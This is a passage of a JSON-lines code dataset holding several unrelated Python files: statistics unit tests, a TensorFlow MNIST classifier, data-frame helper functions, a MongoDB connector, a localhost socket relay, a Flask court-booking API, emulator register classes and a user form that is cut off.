testBadStdev(self):\n # Negative stdev is bad.\n self.assertRaises(ValueError, self.func, -1, 2)\n self.assertRaises(ValueError, self.func, -1, 2, 3)\n\n def testBadSizes(self):\n # Negative sample or population sizes are bad.\n self.assertRaises(ValueError, self.func, 1, -2)\n self.assertRaises(ValueError, self.func, 1, -2, 3)\n self.assertRaises(ValueError, self.func, 1, 2, -3)\n # So are fractional sizes.\n self.assertRaises(ValueError, self.func, 1, 2.5)\n self.assertRaises(ValueError, self.func, 1, 2.5, 3)\n self.assertRaises(ValueError, self.func, 1, 2.5, 3.5)\n self.assertRaises(ValueError, self.func, 1, 2, 3.5)\n\n def testPopulationSize(self):\n # Population size must not be less than sample size.\n self.assertRaises(ValueError, self.func, 1, 100, 99)\n # But equal or greater is allowed.\n self.assertEqual(self.func(1, 100, 100), 0.0)\n self.assertTrue(self.func(1, 100, 101))\n\n def testZeroStdev(self):\n for n in (5, 10, 25, 100):\n self.assertEqual(self.func(0.0, n), 0.0)\n self.assertEqual(self.func(0.0, n, n*10), 0.0)\n\n def testZeroSizes(self):\n for s in (0.1, 1.0, 32.1):\n x = self.func(s, 0)\n self.assertTrue(math.isinf(x))\n x = self.func(s, 0, 100)\n self.assertTrue(math.isinf(x))\n x = self.func(s, 0, 0)\n self.assertTrue(math.isnan(x))\n\n def testResult(self):\n self.assertEqual(self.func(0.25, 25), 0.05)\n self.assertEqual(self.func(1.0, 100), 0.1)\n self.assertEqual(self.func(2.5, 16), 0.625)\n\n def testFPC(self):\n self.assertApproxEqual(\n self.func(0.25, 25, 100), 0.043519413989)\n self.assertApproxEqual(\n self.func(1.0, 100, 150), 5.79284446364e-2)\n self.assertApproxEqual(\n self.func(2.5, 16, 20), 0.286769667338)\n\n\nclass UnivarStErrSkewnessTest(test_stats.NumericTestCase):\n tol=1e-12\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.sterrskewness\n\n def testBadSize(self):\n # Negative sample size is bad.\n self.assertRaises(ValueError, self.func, -2)\n # So is fractional sample size.\n self.assertRaises(ValueError, self.func, 2.5)\n\n def testZero(self):\n x = self.func(0)\n self.assertEqual(x, float('inf'))\n\n def testResult(self):\n self.assertEqual(self.func(6), 1.0)\n self.assertApproxEqual(self.func(10), 0.774596669241)\n self.assertApproxEqual(self.func(20), 0.547722557505)\n self.assertEqual(self.func(24), 0.5)\n self.assertApproxEqual(self.func(55), 0.330289129538)\n\n\nclass UnivarStErrKurtosisTest(test_stats.NumericTestCase):\n tol=1e-12\n rel=2e-12\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.sterrkurtosis\n\n def testBadSize(self):\n # Negative sample size is bad.\n self.assertRaises(ValueError, self.func, -2)\n # So is fractional sample size.\n self.assertRaises(ValueError, self.func, 2.5)\n\n def testZero(self):\n x = self.func(0)\n self.assertEqual(x, float('inf'))\n\n def testResult(self):\n self.assertEqual(self.func(6), 2.0)\n self.assertApproxEqual(self.func(10), 1.54919333848)\n self.assertApproxEqual(self.func(20), 1.09544511501)\n self.assertEqual(self.func(24), 1.0)\n self.assertApproxEqual(self.func(55), 0.660578259076)\n\n\nclass UnivarCircularMeanTest(\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n tol = 1e-12\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.circular_mean\n\n def testDefaultDegrees(self):\n # Test that degrees are the default.\n data = [355, 5, 15, 320, 45]\n theta = self.func(data)\n phi = self.func(data, True)\n assert self.func(data, False) != theta\n self.assertEqual(theta, phi)\n\n def testRadians(self):\n # Test that degrees and radians (usually) give different results.\n data = [355, 5, 15, 320, 45]\n a = self.func(data, True)\n b = self.func(data, False)\n self.assertNotEquals(a, b)\n\n def testSingleton(self):\n for x in (-1.0, 0.0, 1.0, 3.0):\n self.assertEqual(self.func([x], False), x)\n self.assertApproxEqual(self.func([x], True), x)\n\n def testNegatives(self):\n data1 = [355, 5, 15, 320, 45]\n theta = self.func(data1)\n data2 = [d-360 if d > 180 else d for d in data1]\n phi = self.func(data2)\n self.assertApproxEqual(theta, phi)\n\n def testIter(self):\n theta = self.func(iter([355, 5, 15]))\n self.assertApproxEqual(theta, 5.0)\n\n def testSmall(self):\n t = self.func([0, 360])\n self.assertApproxEqual(t, 0.0)\n t = self.func([10, 20, 30])\n self.assertApproxEqual(t, 20.0)\n t = self.func([355, 5, 15])\n self.assertApproxEqual(t, 5.0)\n\n def testFullCircle(self):\n # Test with angle > full circle.\n theta = self.func([3, 363])\n self.assertApproxEqual(theta, 3)\n\n def testBig(self):\n pi = math.pi\n # Generate angles between pi/2 and 3*pi/2, with expected mean of pi.\n delta = pi/1000\n data = [pi/2 + i*delta for i in range(1000)]\n data.append(3*pi/2)\n assert data[0] == pi/2\n assert len(data) == 1001\n random.shuffle(data)\n theta = self.func(data, False)\n self.assertApproxEqual(theta, pi)\n # Now try the same with angles in the first and fourth quadrants.\n data = [0.0]\n for i in range(1, 501):\n data.append(i*delta)\n data.append(2*pi - i*delta)\n assert len(data) == 1001\n random.shuffle(data)\n theta = self.func(data, False)\n self.assertApproxEqual(theta, 0.0)\n\n\nclass UnivarModeTest(test_stats.NumericTestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.mode\n self.data = [\n 1,\n 2, 2,\n 3,\n 4, 4, 4,\n 5, 5, 5, 5, 5,\n 6, 6,\n 7,\n 8,\n ]\n self.expected = 5\n\n def setUp(self):\n random.shuffle(self.data)\n\n def testNoMode(self):\n data = list(set(self.data))\n self.assertRaises(ValueError, self.func, data)\n\n def testMode(self):\n self.assertEqual(self.func(self.data), self.expected)\n\n def testNominal(self):\n data = [\"yellow\"]*8 + [\"blue\"]*5 + [\"red\"]*5 + [\"green\"]*4\n random.shuffle(data)\n self.assertEqual(self.func(data), \"yellow\")\n\n def testBimodalNominal(self):\n data = [\"yellow\"]*8 + [\"blue\"]*8 + [\"red\"]*4 + [\"green\"]*2\n random.shuffle(data)\n self.assertRaises(ValueError, self.func, data)\n\n def testBimodal(self):\n data = self.data[:]\n n = data.count(self.expected)\n data.extend([0]*n)\n random.shuffle(data)\n assert data.count(0) == n\n self.assertRaises(ValueError, self.func, data)\n\n\n\n# === Run tests ===\n\ndef test_main():\n unittest.main()\n\n\nif __name__ == '__main__':\n test_main()\n\n","sub_path":"pycalcstats/src/test_stats_extras.py","file_name":"test_stats_extras.py","file_ext":"py","file_size_in_byte":74370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"457811650","text":"\"\"\"\nA mid-level implementation of a convolutional neural network \nfor MNIST classification using tensorflow.keras.layers\nAuthor: Sebastian Gottwald\nProject: https://github.com/sgttwld/classification\nDate: 2019-05-25\n\"\"\"\n\nimport numpy as np\nimport tensorflow as tf\nimport math, os, sys, time\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \n\n## custom progress bar\ndef print_progress(i, tot, acc, acc_str, bar_length=30, wait=False):\n\tfilled_length = int(round(bar_length * i / tot))\n\t# bar = '█' * filled_length + '-' * (bar_length - filled_length)\n\tbar = '|' * filled_length + '-' * (bar_length - filled_length)\n\tsys.stdout.write('\\r%s/%s |%s| %s %s' % (i, tot, bar, acc_str+':', acc)),\n\tif i == tot-1 and not(wait):\n\t\tsys.stdout.write('\\n')\n\tsys.stdout.flush()\n\n## import MNIST data, normalize, and reshape\n(x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data()\nx_train, x_test = x_train/255, x_test/255\nx_train = x_train.reshape((60000,28,28,1))\nx_test = x_test.reshape((10000,28,28,1))\n\n## algorithm paramters\nlr = .001\t\t# learning rate\nbs = 32\t\t\t# batch size\nnumEp = 30\t\t# number of episodes\n\n## placeholders for data\nX = tf.placeholder(tf.float64,[None,28,28,1])\nY = tf.placeholder(tf.int64,[None])\nY_1hot = tf.one_hot(Y,10,dtype=tf.float64)\n\n## model\nC = tf.keras.layers.Conv2D(4, (5, 5), activation='relu', input_shape=(28, 28,1))(X)\nP = tf.keras.layers.AvgPool2D((2, 2))(C)\nF = tf.keras.layers.Flatten()(P)\np = tf.keras.layers.Dense(10, activation='softmax')(F)\n\n## objective/loss\nobj = -tf.reduce_mean(Y_1hot*tf.log(p)) \t# cross entropy\n\n## classification accuracy (for evaluation)\npercent_corr = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(p,axis=1),Y),tf.float64))\nerr = 1-percent_corr\n\n## optimizer\noptimizer = tf.contrib.optimizer_v2.AdamOptimizer(learning_rate=lr,beta1=.9, beta2=.999,epsilon=1e-08)\n# optimizer = tf.train.AdamOptimizer(learning_rate=lr,beta1=.9, beta2=.999,epsilon=1e-08,name='Adam')\ntrain_op = optimizer.minimize(obj)\n\n## initializer\ninit = tf.global_variables_initializer()\n\n## running the TF session\nwith tf.Session() as sess:\n\n\t## initializing\n\tsess.run(init)\n\n\tfor n in range(0,numEp):\n\t\tnumBatches = math.floor(len(x_train)/bs)\n\t\tt0, acc = time.time(), 0\n\t\t\n\t\tprint('Ep:',n)\n\t\tfor b in range(0,numBatches):\n\t\t\tbatch_X, batch_Y = x_train[b*bs:(b+1)*bs], y_train[b*bs:(b+1)*bs]\n\t\t\tsess.run(train_op,feed_dict={X: batch_X, Y: batch_Y})\n\t\t\tacc = (b * acc + percent_corr.eval(session=sess,feed_dict={X:batch_X,Y:batch_Y}))/(b+1)\n\t\t\tprint_progress(b, numBatches, round(acc,5), acc_str='acc', wait=True)\n\t\t\n\t\tT = round(time.time()-t0,2)\n\t\tacc_test = percent_corr.eval(session=sess,feed_dict={X:x_test,Y:y_test})\n\t\tsys.stdout.write(' time: %s test-acc: %s (error: %s%%)\\n' % \n\t\t\t\t\t\t(T, round(acc_test,3), round((1-acc_test)*100,3)))\n\n\t\t\n\n","sub_path":"3_CNN_midlevel.py","file_name":"3_CNN_midlevel.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"116276763","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nfrom secondary_module import isNaN\nfrom collections import Counter\n\n\n# In[2]:\n\n\ndef nafill(df, *colnames):\n \"\"\"\n nafill function fills nan cells with mean of each column.\n df -> dataframe\n *colnames -> names of the columns whete nans' must be filled\n \"\"\"\n columns = list(colnames)\n n = len(columns)\n height = df.shape[0]\n for i in range(n):\n for j in range(height):\n if np.isnan(df[columns[i]][j]):\n df[columns[i]][j] = df[columns[i]].mean()\n return df\n\n\n# In[3]:\n\n\ndef dropna(df):\n \"\"\"\n Delete rows that contain nans.\n df -> dataframe.\n \"\"\"\n lst = []\n nd = np.array(df)\n for i in range(nd.shape[0]):\n for j in range(nd.shape[1]):\n if isNaN(nd[i][j]):\n lst.append(i)\n indx = set([i for i in range(len(df))])\n not_nan = list(set(indx).difference(set(lst)))\n drop_nan = nd[not_nan]\n return drop_nan\n\n\n# In[4]:\n\n\ndef summary(df):\n \"\"\"\n The summary function summarizes the dataframe by columns.\n df -> dataframe\n \"\"\"\n a = df.columns\n for i in range(len(df.columns)):\n if np.issubdtype(df[a[i]].dtype, np.number):\n keys = [\"Count\",\"Min\",\"1st Q\",\"Median\",\"3rd Q\", \"Max\", \"Mean\", \"St. dev\"]\n values = [df[a[i]].count(), df[a[i]].min(), np.quantile(df[a[i]], 0.25), df[a[i]].median(), \n np.quantile(df[a[i]], 0.75), df[a[i]].max(), df[a[i]].mean(), df[a[i]].std()]\n \n elif np.issubdtype(df[a[i]].dtype, np.datetime64):\n keys = [\"Min\",\"Mean\", \"Max\"]\n values = [df[a[i]].min(), df[a[i]].min(), df[a[i]].max()]\n\n elif np.issubdtype(df[a[i]].dtype, np.bool_):\n keys = [\"Levels\", \"Frequency\"]\n values = [np.unique(df[a[i]]),np.unique(df[a[i]], return_counts=True)]\n elif np.issubdtype(df[a[i]].dtype, np.object_):\n keys = [\"Count\", \"Unique\"]\n values = [df[a[i]].count(), len(np.unique(df[a[i]]))]\n\n else:\n continue\n \n d = dict(zip(keys, values))\n print(a[i])\n \n for k, v in d.items():\n print(k,\": \", v)\n print('\\n') \n\n\n# In[5]:\n\n\ndef normalization(df, type = \"zscore\"):\n \"\"\"\n Normalization function can normalize the data by two methods. \n df -> dataframe\n type -> The method used for normalization. The defualt option is the z-score method. And the optional one is the \n \"\"\"\n if type == \"zscore\":\n for i in range(len(df.columns)):\n a = df.columns\n if np.issubdtype(df[a[i]].dtype, np.number):\n avg = df[a[i]].mean()\n sd = df[a[i]].std()\n for j in range(len(df[a[i]])):\n df[a[i]][j] = (df[a[i]][j] - avg)/(sd)\n else:\n continue\n elif type == 'minmax':\n for i in range(len(df.columns)):\n a = df.columns\n if np.issubdtype(df[a[i]].dtype, np.number):\n maximum = df[a[i]].max()\n minimum = df[a[i]].min()\n for j in range(len(df[a[i]])):\n df[a[i]][j] = (df[a[i]][j] - minimum)/(maximum - minimum)\n else:\n continue\n else:\n Print(\"Only two types of normalization are available: zscore and minmax\")\n return df\n \n\n\n# In[6]:\n\n\ndef change(df, old, new, symmetry_type = 'symmetric', difference_type = 'logarithmic'):\n \"\"\"\n With this function you can calculate difference(change) between two variables expressed in percentages.\n df -> dataframe\n old -> old value column denominator\n new -> new value column numerator\n symmetry_type -> contains three types of symmetries. 1)symmetric: takes values from the same row. \n 2)Updown: takes the values for numerator from row below and the values for denominator \n from the row above.\n 3)lag: calculates the difference between current and previous(lagged) values\n difference_type -> logarithmic is the most important approach. However, the only problem is that all the variables \n must be either negative or positive. \n Otherwise, there will be an error. In that case the difference will be calculated\n in the classical way.\n \n \"\"\"\n change = []\n n = df.shape[0]\n if symmetry_type == 'symmetric':\n if difference_type == 'logarithmic':\n for i in range(n):\n a = np.log(df[new][i] / df[old][i])\n change.append(a)\n else:\n for i in range(n):\n a = (df[new][i] - df[old][i]) / df[old][i]\n change.append(a)\n elif symmetry_type == 'updown':\n if difference_type == 'logarithmic':\n for i in range(n-1):\n a = np.log(df[new][i+1] / df[old][i])\n change.append(a)\n else:\n for i in range(n-1):\n a = (df[new][i] - df[old][i]) / df[old][i]\n change.append(a)\n elif symmetry_type == 'lag':\n print(\"Warning!!! for lag type function use only old column and calculate lag\")\n if difference_type == 'logarithmic':\n for i in range(n-1):\n a = np.log(df[old][i+1]/df[old][i])\n change.append(a)\n else:\n for i in range(n-1):\n a = (df[new][i] - df[old][i]) / df[old][i]\n change.append(a)\n return change\n\n\n# In[7]:\n\n\ndef pivoting(df, row, column, values):\n \"\"\"\n Pivoting function helps to look at the dataframe in the shape that the user wants.\n df -> dataframe\n row -> which column must be transformed into a row in pivot\n column -> which column must be transformed into a column in pivot\n values -> the variable the pivot must be filled with \n \"\"\"\n data = df[[row, column, values]].to_numpy()\n rows, row_pos = np.unique(data[:, 0], return_inverse=True)\n cols, col_pos = np.unique(data[:, 1], return_inverse=True)\n row_pos = np.sort(row_pos)\n col_pos = np.sort(col_pos)\n col_pos = np.tile(np.unique(col_pos), len(row_pos))\n pivot_table = np.zeros((len(rows), len(cols)), dtype=data.dtype)\n pivot_table[row_pos, col_pos[0:len(row_pos)]] = data[:, 2]\n return pivot_table\n\n\n# In[8]:\n\n\ndef pivvottable(df, row, column, value, function = 'median'):\n \"\"\"\n pivvottable creates a pivot table and makes a summary grouped by a row and a column\n df -> dataframe\n row -> which column must be transformed into a row in pivot\n column -> which column must be transformed into a column in pivot\n values -> the variable the pivot must be filled with \n function -> function that aggregates the pivot table\n \"\"\"\n data = df[[row, column, value]].to_numpy()\n rows, row_pos = np.unique(data[:, 0], return_inverse = True)\n cols, col_pos = np.unique(data[:, 1], return_inverse = True)\n new_list = []\n for i in range(len(rows)):\n a = df.copy()\n a = a[a[row]== rows[i]]\n for j in range(len(cols)):\n b = a.copy()\n b = b[b[column] == cols[j]]\n if function == 'mean':\n c = b[value].mean()\n elif function == 'min':\n c = b[value].min()\n elif function == 'max':\n c = b[value].max()\n elif function == 'median':\n c = b[value].median()\n elif function == 'standard deviation':\n c = b[value].std()\n else:\n print(\"Please enter 'min' or 'max' or 'mean' or 'median' or 'standard deviation'\")\n new_list.append(c) \n pivottable = np.array(new_list).reshape(len(rows), len(cols))\n return pivottable\n\n\n# In[9]:\n\n\ndef grouppby(data, colname, function):\n \"\"\"\n Group by groups data frame by a specified column and aggregates by specified function.\n data -> dataframe\n colname -> column that the groupping is based on.\n function -> aggregation function.\n \"\"\"\n df = data.copy()\n b = data.columns\n a = []\n for i in range(len(b)):\n if np.issubdtype(df[b[i]].dtype, np.number):\n a.append(b[i])\n print(a)\n n = len(a)\n uniques = data[colname].unique()\n u = len(uniques)\n full = [[None] * n] * u\n for k in range(u):\n filtered = data[data[colname] == uniques[k]]\n for j in range(n):\n if function == 'minimum':\n full[k][j] = filtered[a[j]].min()\n elif function == 'maximum':\n full[k][j] = filtered[a[j]].max()\n elif function == 'mean':\n full[k][j] = filtered[a[j]].mean()\n elif function == 'median':\n full[k][j] = filtered[a[j]].median()\n elif function == 'standard deviation':\n full[k][j] = filtered[a[j]].std()\n else:\n print(\"Please enter 'min' or 'max' or 'mean' or 'median' or 'sd'\")\n print(uniques[k], full[k])\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"final project/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":9137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"529940935","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom pymongo import ReadPreference, MongoClient\nfrom pymongo.database import Database\nfrom Application import app_config\n#from Application.util.request_context import RequestContext\nfrom Application.database.mongo_db.ping_collection import PingCollection\n\n\ndef mongo_collection(f):\n \"\"\"Ensures that the connection to the database is established before returning the collection\n\n :param f: The function that returns the collection\n :return: The wrapper that ensures the connection\n \"\"\"\n\n # We cannot have decorators in the class, but we are using this: https://stackoverflow.com/a/11731208/4620080\n def wrapper(*args, **kwargs):\n # self is the first argument\n self = args[0] # type: MongoDB\n\n if self._mongo_client is None:\n _kwargs = {}\n # Check if we are using a replica set\n if isinstance(app_config.MONGO_HOST, list):\n # The replica set read preference for this client. One of primary, primaryPreferred, secondary,\n # secondaryPreferred, or nearest. Defaults to primary\n _kwargs['read_preference'] = ReadPreference.SECONDARY_PREFERRED\n # If this is a replica set, write operations will block until they have been replicated to the specified\n # number or tagged set of servers. w= always includes the replica set primary (e.g. w=3 means write\n # to the primary and wait until replicated to two secondaries). Passing w=0 disables write\n # acknowledgement and all other write concern options\n _kwargs['w'] = 'majority'\n # Used in conjunction with w. Specify a value in milliseconds to control how long to wait for write\n # propagation to complete. If replication does not complete in the given timeframe, a timeout exception\n # is raised.\n _kwargs['wtimeout'] = 2000\n # If True block until write operations have been committed to the journal. Cannot be used in combination\n # with fsync. Prior to MongoDB 2.6 this option was ignored if the server was running without journaling.\n # Starting with MongoDB 2.6 write operations will fail with an exception if this option is used when the\n # server is running without journaling.\n _kwargs['j'] = True\n\n # Tell the client that we are using a replica set\n _kwargs['replicaSet'] = app_config.MONGO_REPLICA_SET_NAME\n\n # Check if we are using a SSL connection\n if app_config.MONGO_CERTFILE is not None or app_config.MONGO_CA_CERTS is not None:\n _kwargs['ssl'] = True\n _kwargs['ssl_ca_certs'] = app_config.MONGO_CA_CERTS\n _kwargs['ssl_certfile'] = app_config.MONGO_CERTFILE\n\n # Connect to the server\n mongo_client = MongoClient(\n host=app_config.MONGO_HOST,\n port=app_config.MONGO_PORT,\n **_kwargs\n )\n # Switch to the correct database\n db = mongo_client[app_config.MONGO_DB]\n # Authenticate to the database\n db.authenticate(name=app_config.MONGO_USER, password=app_config.MONGO_PASSWORD)\n\n self._mongo_client = mongo_client\n self._mongo_database = db\n # We are now certain that a connection to the database have been established, call the decorated function\n return f(*args, **kwargs)\n\n return wrapper\n\n\nclass MongoDB(object):\n \"\"\"\n\n :type _mongo_client: MongoClient\n :type _mongo_database: Database\n \"\"\"\n def __init__(self, request_context: RequestContext):\n self._mongo_client = None\n self._mongo_database = None\n self._request_context = request_context\n\n @mongo_collection\n def ping(self):\n return PingCollection(self._mongo_database, self._request_context)\n\n @mongo_collection\n def open(self):\n return None\n\n def close(self):\n \"\"\"Disconnect from MongoDB.\n Close all sockets in the connection pools and stop the monitor threads. If this instance is used again it will\n be automatically re-opened and the threads restarted\n \"\"\"\n if self._mongo_client is not None:\n # Close the connection\n self._mongo_client.close()\n","sub_path":"Application/mongo_db/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"379792065","text":"import socket\nimport os, time\nimport fcntl\n\n\ndef readFile(fileName):\n r = open(fileName, 'r')\n # add shared-lock\n fcntl.flock(r, fcntl.LOCK_SH)\n data = r.read()\n # unlock\n fcntl.flock(r, fcntl.LOCK_UN)\n r.close() \n return data \n\n\ndef writeFile(fileName, data):\n w = open(fileName, 'w')\n # add exclusive-lock\n fcntl.flock(w, fcntl.LOCK_EX)\n w.write(data)\n # unlock\n fcntl.flock(w, fcntl.LOCK_UN)\n w.close()\n\n\ndef connToData(port1, port2):\n '''\n Use socket to connect to the dataServer(in local).\n \"port1\" is the masterServer's port.\n \"port2\" is the dataServer's port.\n '''\n\n master = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n master.bind(('localhost', port1))\n master.connect(('localhost', port2))\n\n last = os.path.getmtime('sendData')\n # wait until new command comes\n while True:\n present = os.path.getmtime('sendData')\n while present == last:\n time.sleep(0.1)\n present = os.path.getmtime('sendData')\n continue\n last = present\n sendData = readFile('sendData')\n \n print('send:', sendData)\n # send command to dataServer\n master.send(sendData.encode('utf-8'))\n\n if sendData == 'exit':\n \tcontinue\n # receive feedback from dataServer\n feeback = master.recv(20480)\n feeback = feeback.decode('utf-8')\n writeFile('recvData', feeback)\n\n print('feeback:\\n', feeback, '\\n')\n master.close() \n\n\nif __name__ == '__main__':\n connToData(10001, 20001)","sub_path":"masterServer/connToData.py","file_name":"connToData.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"37258821","text":"from flask import request, Blueprint, jsonify, make_response\nfrom my_app import db\nfrom my_app.models import Quadras\nfrom flask import Blueprint\n\n\n#Criação de quadra\ncreatequadra = Blueprint(\"createquadra\", __name__)\n\n\n\n\n\n@createquadra.route('/createquadra', methods=['POST','OPTIONS'])\ndef Createquadra():\n\n #verificação try exception \n try:\n if request.method == 'OPTIONS' :\n return _build_cors_prelight_response()\n \n elif request.method == 'POST':\n content = request.json\n descQuadraForm = content['descricao']\n tipoForm = content['tipo']\n comprimentoForm= float(content['comprimento'])\n larguraForm= float(content['largura'])\n\n #adiciona quadra\n quadra = Quadras(descQuadraForm, tipoForm, comprimentoForm, larguraForm)\n db.session.add(quadra)\n db.session.commit()\n return _corsify_actual_response(jsonify({'message': True})), 200\n \n #em caso de erro ao cadastrar quadra, retorna erro 400 \n except Exception:\n return _corsify_actual_response(jsonify({'message': False})), 400\n\n \n\n\n\nlistquadra = Blueprint(\"listquadra\", __name__)\n\n@listquadra.route('/listquadra', methods=['GET', 'OPTIONS'])\ndef ListQuadra():\n try:\n if request.method == \"OPTIONS\": # CORS preflight\n return _build_cors_prelight_response()\n elif request.method == \"GET\":\n quadras = Quadras.query.paginate(1, 10).items\n \n list = []\n for quadra in quadras:\n list.append({\n 'seqquadra': quadra.seqquadra,\n 'descricao': quadra.descricao,\n 'tipo': quadra.tipo,\n 'comprimento': str(quadra.comprimento),\n 'largura': str(quadra.largura)\n })\n \n return _corsify_actual_response(jsonify(list)), 200,\n\n except Exception:\n \n return _corsify_actual_response(jsonify({\"message\": False})), 400,\n\n\n\ndeletequadra = Blueprint(\"deletequadra\", __name__)\n\n\n@deletequadra.route('/deletequadra/', methods=['GET', 'OPTIONS'])\ndef deleteQuadra(id):\n try:\n if request.method == \"OPTIONS\": # CORS preflight\n return _build_cors_prelight_response()\n elif request.method == \"GET\":\n Quadras.query.filter_by(seqquadra=id).delete()\n db.session.commit()\n return _corsify_actual_response(jsonify({\"message\": True})), 200,\n except:\n return _corsify_actual_response(jsonify({\"message\": False})), 400,\n\n\n\ndef _build_cors_prelight_response():\n response = make_response()\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n response.headers.add('Access-Control-Allow-Headers', \"*\")\n response.headers.add('Access-Control-Allow-Methods', \"*\")\n return response\n\ndef _corsify_actual_response(response):\n response.headers.add(\"Access-Control-Allow-Origin\", \"*\")\n return response","sub_path":"WebServicesPython/my_app/quadras.py","file_name":"quadras.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"136797583","text":"\nclass GenericReg:\n regs = [0]*32\n flags = {'c':0, 'p':0, 'a':0, 'z':0, 's':0, 't':0, 'i':0, 'd':0, 'o':0}\n sp = 0\n\n def __init__(self, wordsize=4):\n self.mask = (1 << (wordsize*8)) - 1\n\n def __setitem__(self, name, value):\n if len(name) == 2 and name[1] == 'f':\n self.flags[name[0]] = value & self.mask\n elif name == 'sp':\n self.sp = value\n else:\n num = int(name[1:])\n self.regs[num] = value & self.mask\n\n def __getitem__(self, name):\n if len(name) == 2 and name[1] == 'f':\n return self.flags[name[0]] & self.mask\n elif name == 'sp':\n return self.sp\n else:\n num = int(name[1:])\n return self.regs[num] & self.mask\n\n def dump(self):\n s = \"\"\n for i in range(32):\n s += (\"%3s\" % (\"r%d\" % i)) + \" %08x \" % (self.regs[i])\n if i % 4 == 3:\n s += \"\\n\"\n for key in self.flags:\n if self.flags[key]: s += key.upper() + ' '\n else: s += key.lower() + ' '\n s += \"\\nSP %08x\" % self.sp\n return s\n\nclass x86Reg:\n regs = {'a':0, 'b':0, 'c':0, 'd':0, 'si':0, 'di':0, 'bp':0, 'sp':0}\n flags = {'c':0, 'p':0, 'a':0, 'z':0, 's':0, 't':0, 'i':0, 'd':0, 'o':0}\n\n def __setitem__(self, name, value):\n if len(name) == 2:\n if name[1] == 'l':\n self.regs[name[0]] = value & 0xFF\n elif name[1] == 'f':\n self.flags[name[0]] = value\n else:\n raise KeyError(\"Unsupported register name '%s'\" % name)\n elif len(name) == 3:\n if name[0] == 'e':\n if name[2] == 'i' or name[2] == 'p':\n self.regs[name[1:]] = value & 0xFFFFFFFF\n elif name[2] == 'x':\n self.regs[name[1]] = value & 0xFFFFFFFF\n else:\n raise KeyError(\"Unsupported register name '%s'\" % name)\n else:\n raise KeyError(\"Unsupported register name '%s'\" % name)\n else:\n raise KeyError(\"Unsupported register name '%s'\" % name)\n\n def __getitem__(self, name):\n if len(name) == 2:\n if name[1] == 'l':\n return self.regs[name[0]] & 0xFF\n if name[1] == 'f':\n return self.flags[name[0]]\n elif len(name) == 3:\n if name[0] == 'e':\n if name[2] == 'i' or name[2] == 'p':\n return self.regs[name[1:]] & 0xFFFFFFFF\n elif name[2] == 'x':\n return self.regs[name[1]] & 0xFFFFFFFF\n raise KeyError(\"Unsupported register name '%s'\" % name)\n\n def dump(self):\n s = \"\"\n s += \"eax %08x ebx %08x\\n\" % (self.regs['a'], self.regs['b'])\n s += \"ecx %08x edx %08x\\n\" % (self.regs['c'], self.regs['d'])\n s += \"edi %08x esi %08x\\n\" % (self.regs['di'], self.regs['si'])\n s += \"ebp %08x esp %08x\\n\" % (self.regs['bp'], self.regs['sp'])\n for key in self.flags:\n if self.flags[key]: s += key.upper() + ' '\n else: s += key.lower() + ' '\n return s\n\n","sub_path":"emul/reg.py","file_name":"reg.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"225712551","text":"from opentera.forms.TeraForm import *\nfrom flask_babel import gettext\nfrom modules.DatabaseModule.DBManagerTeraUserAccess import DBManagerTeraUserAccess\n\n\nclass TeraUserForm:\n\n @staticmethod\n def get_user_form(user_access: DBManagerTeraUserAccess):\n form = TeraForm(\"user\")\n\n # Sections\n section = TeraFormSection(\"informations\", gettext(\"Information\"))\n form.add_section(section)\n\n # Items\n section.add_item(TeraFormItem(\"id_user\", gettext(\"User ID\"), \"hidden\", True))\n section.add_item(TeraFormItem(\"user_uuid\", gettext(\"User UUID\"), \"hidden\"))\n section.add_item(TeraFormItem(\"user_name\", gettext(\"User Full Name\"), \"hidden\"))\n section.add_item(TeraFormItem(\"user_username\", gettext(\"Username\"), \"text\", True))\n section.add_item(TeraFormItem(\"user_enabled\", gettext(\"User Enabled\"), \"boolean\", True, item_default=True))\n section.add_item(TeraFormItem(\"user_firstname\", gettext(\"First Name\"), \"text\", True))\n section.add_item(TeraFormItem(\"user_lastname\", gettext(\"Last Name\"), \"text\", True))\n section.add_item(TeraFormItem(\"user_email\", gettext(\"Email\"), \"text\"))\n section.add_item(\n TeraFormItem(\"user_password\", gettext(\"Password\"), \"password\", item_options={\"confirm\": True}))\n section.add_item(TeraFormItem(\"user_superadmin\", gettext(\"User Is Super Administrator\"), \"boolean\", True))\n section.add_item(TeraFormItem(\"user_notes\", gettext(\"Notes\"), \"longtext\"))\n section.add_item(TeraFormItem(\"user_profile\", gettext(\"Profile\"), \"hidden\"))\n section.add_item(TeraFormItem(\"user_lastonline\", gettext(\"Last Connection\"), \"datetime\",\n item_options={\"readonly\": True}))\n\n return form.to_dict()\n\n # @staticmethod\n # def get_user_profile_form():\n # form = TeraForm(\"profile\")\n #\n # # Sections\n # section = TeraFormSection(\"main_prefs\", gettext(\"Preferences\"))\n 